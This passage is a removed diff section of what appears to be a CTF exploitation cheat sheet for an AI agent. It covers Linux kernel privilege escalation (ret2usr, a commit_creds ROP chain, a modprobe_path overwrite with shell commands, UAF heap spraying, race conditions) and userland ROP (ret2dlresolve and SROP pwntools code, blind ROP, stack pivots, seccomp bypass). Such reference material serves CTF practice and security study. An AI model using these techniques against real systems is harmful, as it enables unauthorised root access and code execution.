|
487
|
-
KERNEL ROP CHAIN — ret2usr (when SMEP disabled):
|
|
488
|
-
├── Control RIP via kernel overflow
|
|
489
|
-
├── ROP: disable SMEP/SMAP → call userspace function pointer
|
|
490
|
-
│ mov cr4, <value_without_smep> ; ret
|
|
491
|
-
├── Userspace shellcode:
|
|
492
|
-
│ void shell() {
|
|
493
|
-
│ commit_creds(prepare_kernel_cred(NULL)); // root creds
|
|
494
|
-
│ // return to userspace:
|
|
495
|
-
│ asm("swapgs; iretq");
|
|
496
|
-
│ }
|
|
497
|
-
└── Restore context: need original rip/cs/rflags/rsp/ss saved before exploit
|
|
498
|
-
|
|
499
|
-
COMMIT_CREDS PATTERN:
|
|
500
|
-
├── commit_creds(prepare_kernel_cred(NULL)) → uid/gid = 0
|
|
501
|
-
├── Addresses: grep in /proc/kallsyms (if readable) or vmlinux offsets
|
|
502
|
-
├── Kernel ROP: pop rdi; ret → 0 → prepare_kernel_cred → pop rdi; ret →
|
|
503
|
-
│ rax (result) → commit_creds → recover_to_userspace
|
|
504
|
-
└── After root: execve("/bin/sh") or system command
|
|
505
|
-
|
|
506
|
-
MODPROBE_PATH OVERWRITE (powerful, no SMEP bypass needed):
|
|
507
|
-
├── When: have arbitrary kernel write primitive
|
|
508
|
-
├── Steps:
|
|
509
|
-
│ 1. Overwrite modprobe_path (/sbin/modprobe) with /tmp/pwn script
|
|
510
|
-
│ 2. /tmp/pwn: #!/bin/sh\n cp /flag /tmp/flag && chmod 777 /tmp/flag
|
|
511
|
-
│ 3. Execute unknown file format → kernel calls modprobe_path
|
|
512
|
-
│ echo -ne '\xff\xff\xff\xff' > /tmp/bad; chmod +x /tmp/bad; /tmp/bad
|
|
513
|
-
│ 4. /tmp/flag now readable
|
|
514
|
-
└── Works even without executing shellcode (bypasses SMEP/NX)
|
|
515
|
-
|
|
516
|
-
KERNEL UAF → FUNCTION POINTER OVERWRITE:
|
|
517
|
-
├── Typical flow:
|
|
518
|
-
│ 1. Allocate kernel object via ioctl / socket / open
|
|
519
|
-
│ 2. Free it (without destroying reference)
|
|
520
|
-
│ 3. Spray heap with controlled data (reclaim freed slot)
|
|
521
|
-
│ 4. Original pointer now points to attacker-controlled struct
|
|
522
|
-
│ 5. Function pointer called → code execution
|
|
523
|
-
├── Heap spray: open many /proc or socket fds, read/send data
|
|
524
|
-
└── Object size: match target struct size for reliable reclaim
|
|
525
|
-
|
|
526
|
-
KERNEL RACE CONDITIONS (TOCTOU):
|
|
527
|
-
├── Double-fetch: kernel reads userspace value twice, race between reads
|
|
528
|
-
├── Concurrent ioctl/syscall: race window between check and use
|
|
529
|
-
├── Exploitation: spin up threads, hammer concurrent syscalls
|
|
530
|
-
├── Tools: race_condition keyword, userfaultfd for precise racing
|
|
531
|
-
└── web_search("kernel TOCTOU exploit userfaultfd technique")
|
|
532
|
-
|
|
533
|
-
USEFUL KERNEL PRIMITIVES:
|
|
534
|
-
├── Arbitrary read: copy_from_user leak, info leak via syslog/proc
|
|
535
|
-
├── Arbitrary write: kmalloc + controlled content + overflow/UAF
|
|
536
|
-
├── Heap spray: open many /proc/self/mem, msg_msg (msgsnd), pipe buffers
|
|
537
|
-
├── msg_msg: sendmsg to reclaim freed kernel object (kmalloc-N sized)
|
|
538
|
-
└── setxattr: arbitrary kernel heap write (controllable size + content)
|
|
539
|
-
```
|
|
540
|
-
|
|
541
|
-
## ROP Deep Patterns (Advanced)
|
|
542
|
-
|
|
543
|
-
```
|
|
544
|
-
RET2DLRESOLVE — No libc file needed:
|
|
545
|
-
from pwn import *
|
|
546
|
-
elf = ELF('./binary')
|
|
547
|
-
rop = ROP(elf)
|
|
548
|
-
dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
|
|
549
|
-
rop.read(0, dlresolve.data_addr) # write the fake structures
|
|
550
|
-
rop.ret2dlresolve(dlresolve)
|
|
551
|
-
# send: padding + rop.chain() + then dlresolve.payload
|
|
552
|
-
|
|
553
|
-
BLIND ROP (BROP) — No binary, only crash/non-crash:
|
|
554
|
-
├── Goal: exploit a stack overflow with only socket feedback
|
|
555
|
-
├── Step 1: Find overflow offset (binary search on payload length)
|
|
556
|
-
├── Step 2: Find "stop gadget" (causes infinite loop, keeps connection)
|
|
557
|
-
├── Step 3: Blindly probe for ROP gadgets (brop gadget is canonical)
|
|
558
|
-
│ ├── BROP gadget: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
|
|
559
|
-
│ └── Dump PLT entries to find puts → dump binary from memory
|
|
560
|
-
├── Step 4: Leak binary via puts over socket
|
|
561
|
-
├── Step 5: Standard ROP exploit from dumped binary
|
|
562
|
-
└── web_search("blind rop brop exploit tutorial")
|
|
563
|
-
|
|
564
|
-
STACK PIVOT (when controlled buffer too small for full ROP):
|
|
565
|
-
├── Gadget: xchg rsp, rax / leave; ret / pop rsp; ret
|
|
566
|
-
├── Target: large controlled buffer (heap, data section, mmap)
|
|
567
|
-
├── build full ROP chain there → pivot RSP to it
|
|
568
|
-
└── Common: fake frame on heap → leave; ret pivots there
|
|
569
|
-
|
|
570
|
-
SIGROP / SROP in depth:
|
|
571
|
-
├── Abuses sigreturn syscall (15 on x86_64) to set ALL registers
|
|
572
|
-
├── syscall; ret → rax=15 → sigreturn → kernel restores all regs from stack frame
|
|
573
|
-
├── Full SigreturnFrame:
|
|
574
|
-
│ frame = SigreturnFrame()
|
|
575
|
-
│ frame.rip = execve_syscall_addr # or any gadget
|
|
576
|
-
│ frame.rsp = rsp # controlled stack
|
|
577
|
-
│ frame.rax = 59 # SYS_execve
|
|
578
|
-
│ frame.rdi = binsh_addr
|
|
579
|
-
│ frame.rsi = frame.rdx = 0
|
|
580
|
-
├── Useful when: very few gadgets, only syscall; ret available
|
|
581
|
-
└── orw shellcode path when execve blocked by seccomp
|
|
582
|
-
|
|
583
|
-
SECCOMP BYPASS:
|
|
584
|
-
├── Check: seccomp-tools dump ./binary → see allowed syscalls
|
|
585
|
-
│ seccomp-tools asm → assemble BPF filters
|
|
586
|
-
├── Common CTF: execve blocked → use open+read+write (ORW)
|
|
587
|
-
│ fd = open("flag.txt", O_RDONLY)
|
|
588
|
-
│ read(fd, buf, 0x100)
|
|
589
|
-
│ write(1, buf, 0x100)
|
|
590
|
-
├── Shellcraft: shellcraft.open() + shellcraft.read(3,'rsp',100) + shellcraft.write(1,'rsp',100)
|
|
591
|
-
├── Filter bypass: if using 32-bit mode (ptrace SECCOMP allows different arch)
|
|
592
|
-
│ int 0x80 in 64-bit process: uses 32-bit syscall numbers!
|
|
593
|
-
│ open=5 (32-bit) may not be filtered if filter only blocks 64-bit open=2
|
|
594
|
-
└── web_search("seccomp bypass technique {year} CTF")
|
|
595
|
-
```
|